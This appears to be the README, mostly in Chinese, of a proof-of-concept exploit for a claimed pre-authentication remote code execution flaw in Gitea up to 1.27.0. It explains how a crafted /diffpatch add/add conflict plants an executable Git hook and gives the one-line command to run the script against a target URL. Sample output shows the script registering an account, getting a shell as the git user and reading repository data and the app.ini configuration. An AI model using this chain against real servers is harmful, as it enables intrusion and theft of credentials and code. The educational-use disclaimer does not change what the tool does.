
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
这是针对 CVE-2026-60004 的概念验证漏洞利用程序,该漏洞是 Gitea 1.17 至 1.27.0 版本中的一个严重远程代码执行漏洞。该脚本自动化了完整的漏洞利用链,从用户注册到在目标服务器上建立稳定的交互式 Shell。
该漏洞存在于 /diffpatch API 端点中。通过两次发送恶意补丁,add/add 冲突会触发三路合并回退,从而忽略 --cached 标志,并直接将可执行的 Git 钩子写入裸仓库的 GIT_DIR。当 Git 更新索引时,它会自动执行该钩子,从而允许以 Gitea 服务账户身份执行任意命令。
由于 Gitea 是编译后的 Go 二进制文件,没有内嵌 PHP 解释器,因此如果没有配置辅助 Web 服务器来执行传统的 webshell,植入传统 webshell 通常会失败。为了解决这个问题并确保漏洞利用的完全稳定性,该脚本采用了一种 API 驱动的方法:
post-index-change Git 钩子。cmd.sh)中读取命令,以服务账户身份执行该命令,并将输出写入一个 Git blob(proof)。这通过 Gitea API 直接创建了一个功能完整的交互式 Shell,无需外部 Web 服务器或辅助解释器。
python3 poc.py https://target.com
执行后,该脚本将自动注册一个账户、植入恶意钩子,并将你带入一个交互式 Shell:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
该工具仅用于教育目的和授权安全测试,例如 CTF。请确保您拥有测试目标系统的明确许可。作者不对因使用该工具而造成的任何滥用或损害负责。
Chirag Artani - https://3rag.com